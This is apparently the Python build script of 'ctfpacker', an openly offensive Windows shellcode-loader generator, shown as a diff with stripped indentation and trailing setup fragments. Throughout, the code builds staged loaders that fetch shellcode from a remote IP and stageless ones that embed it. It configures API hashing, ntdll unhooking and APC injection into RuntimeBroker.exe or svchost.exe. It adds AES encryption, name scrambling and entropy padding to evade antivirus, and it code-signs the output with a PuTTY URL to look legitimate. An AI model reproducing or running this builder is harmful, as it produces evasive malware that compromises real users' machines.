parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_staged.add_argument("-er", "--entropy-reduction", action="store_true", help="Reduce binary entropy by embedding English text padding.")
parser_staged.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
parser_staged.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s --https --user-agent 'CustomAgent/1.0' -pfx cert.pfx -pfx-pass 'password'"
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'"
# Creating the arguments for the stageless subcommand
# Stageless subcommand
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_stageless.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
parser_stageless.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
parser_stageless.add_argument("-inj", "--inject-method", type=str, choices=["apc", "copyfile2"], default="apc", help="Choose injection method: 'apc' for APC injection or 'copyfile2' for CopyFile2 progress callback execution (default: apc).")
parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_stageless.add_argument("-er", "--entropy-reduction", action="store_true", help="Reduce binary entropy by embedding English text padding.")
parser_stageless.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
parser_stageless.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -e -s -pfx cert.pfx -pfx-pass 'password'"
# Parsing the arguments
args = parser.parse_args()
# Banner
banner()
#--------------------------------------#
#----------- Staged Variant -----------#
#--------------------------------------#
# Build config from parsed args
config = BuildConfig(
mode=args.commands,
payload_path=args.payload,
format=args.format or "EXE",
inject_method=args.inject_method,
target_process=args.apc,
encrypt=args.encrypt,
scramble=args.scramble,
entropy_reduction=args.entropy_reduction,
pfx=args.pfx,
pfx_password=args.pfx_password,
output=getattr(args, 'output', None) or "ctfloader",
ip_address=getattr(args, 'ip_address', "") or "",
port=getattr(args, 'port', 8080) or 8080,
path=getattr(args, 'path', "") or "",
https=getattr(args, 'https', False),
user_agent=getattr(args, 'user_agent', BuildConfig.user_agent),
)
engine = BuildEngine(cli_log)
success = engine.build(config)
if not success:
sys.exit(1)
if args.commands == "staged":
print(Colors.green("[i] Staged Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.path.dirname(os.path.abspath(__file__))
src_directory = resources.files("templates").joinpath("staged")
dst_directory = f'{cr_directory}/.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
if args.payload and args.ip_address and args.port and args.path:
print(Colors.green("[i] Corresponding template selected.."))
ip = args.ip_address
port = args.port
path = args.path
with open(f'{dst_directory}/download.c', 'r') as file:
download_data = file.readlines()
for i in range(len(download_data)):
if "#-IP_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip)
if "#-PORT_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port))
if "#-PATH_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path)
with open(f'{dst_directory}/download.c', 'w') as file:
file.writelines(download_data)
# We read the shellcode from the file
with open(args.payload, "rb") as file:
payload = file.read()
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
print(Colors.light_yellow("[+] Setting APC injection target process..."))
# Handling the target APC injection.
if args.format is None or args.format == "EXE":
with open(f'{dst_directory}/main.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main.c', 'w') as file:
file.writelines(main_data)
if args.format == "DLL":
with open(f'{dst_directory}/main_dll.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main_dll.c', 'w') as file:
file.writelines(main_data)
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(payload)
if os.path.exists(f"{args.output}.bin"):
os.remove(f"{args.output}.bin")
with open(f"{args.output}.bin", "wb") as file:
file.write(enc_payload)
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}/{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
# Writing the data back to the file
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved to {os.getcwd()}/{args.output}.bin !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in the main.c file
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}/{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(main_data)
# We copy the payload file to the path specified by the user
shutil.copy(args.payload, f"{args.output}.bin")
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"]
scrambled_variables = []
alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "GetContent" in data[i]:
data[i] = data[i].replace("GetContent", scrambled_functions[16])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[17])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[18])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[19])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[20])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
# Modifying the main.c file
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}/{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.format is None or args.format == "EXE":
if args.pfx:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
if args.pfx is not None:
pfx_path = args.pfx
else:
print(Colors.red("[!] PFX file not found"))
sys.exit(1)
if args.pfx_password:
pfx_password = args.pfx_password
else:
print(Colors.red("[!] PFX password not provided"))
sys.exit(1)
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
f"osslsigncode",
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
else:
# Everything has been modified, we can now compile the loader
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if args.format == "DLL":
print(Colors.green("[i] DLL format selected."))
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=DLL")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.dll", f"ctfloader.dll")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
#-----------------------------------------#
#----------- Stageless Variant -----------#
#-----------------------------------------#
if args.commands == "stageless":
print(Colors.green("[i] Stageless Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.path.dirname(os.path.abspath(__file__))
src_directory = resources.files("templates").joinpath("stageless")
dst_directory = f'{cr_directory}/.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
# Parsing the args now
if args.payload:
# We read the shellcode from the file
with open(args.payload, "rb") as file:
raw_payload = file.read()
# converting the payload to hex for ease
payload = ', '.join(f"0x{b:02x}" for b in raw_payload)
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
print(Colors.light_yellow("[+] Setting APC injection target process..."))
# Handling the target APC injection.
if args.format is None or args.format == "EXE":
with open(f'{dst_directory}/main.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main.c', 'w') as file:
file.writelines(main_data)
if args.format == "DLL":
with open(f'{dst_directory}/main_dll.c', 'r') as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#-TARGET_PROCESS-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
# Writing the data back to the file
with open(f'{dst_directory}/main_dll.c', 'w') as file:
file.writelines(main_data)
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(raw_payload)
# converting the payload to hex for ease
hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload)
# We write the key and IV into main.c
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}/{filename}", "r") as file:
main_data = file.readlines()
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload))
# Writing the data back to the file
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in the main.c file
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}/{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload)" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) &payload, sEncPayload, &pProcess)) {{"
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload)
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(main_data)
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"]
scrambled_variables = []
alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[16])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[17])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[18])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[19])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
# Modifying the main.c file
for filename in os.listdir(dst_directory):
if filename.startswith("main") and filename.endswith(".c"):
with open(f"{dst_directory}/{filename}", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
if "payload" in main_data[i]:
main_data[i] = main_data[i].replace("payload", scrambled_variables[9])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.format is None or args.format == "EXE":
if args.pfx:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
if args.pfx is not None:
pfx_path = args.pfx
else:
print(Colors.red("[!] PFX file not found"))
sys.exit(1)
if args.pfx_password:
pfx_password = args.pfx_password
else:
print(Colors.red("[!] PFX password not provided"))
sys.exit(1)
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
f"osslsigncode",
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
else:
# Everything has been modified, we can now compile the loader
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if args.format == "DLL":
print(Colors.green("[i] DLL format selected."))
os.system(f"cd '{dst_directory}' && make clean && make FORMAT=DLL")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.dll", f"ctfloader.dll")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if __name__ == "__main__":
main()
main()
+2 -1
View File
@@ -1,3 +1,4 @@
colorama==0.4.6
pycryptodome==3.20.0
pycryptodome
PyQt6>=6.6.0
setuptools
+11 -6
View File
@@ -11,21 +11,26 @@ setup(
author_email='contact@mochabyte.xyz',
maintainer='mochabyte0x',
license='MIT',
install_requires=['colorama',
'pycryptodome'],
py_modules=['main'],
install_requires=['colorama',
'pycryptodome',
'PyQt6>=6.6.0'],
py_modules=['main', 'gui_main'],
include_package_data=True,
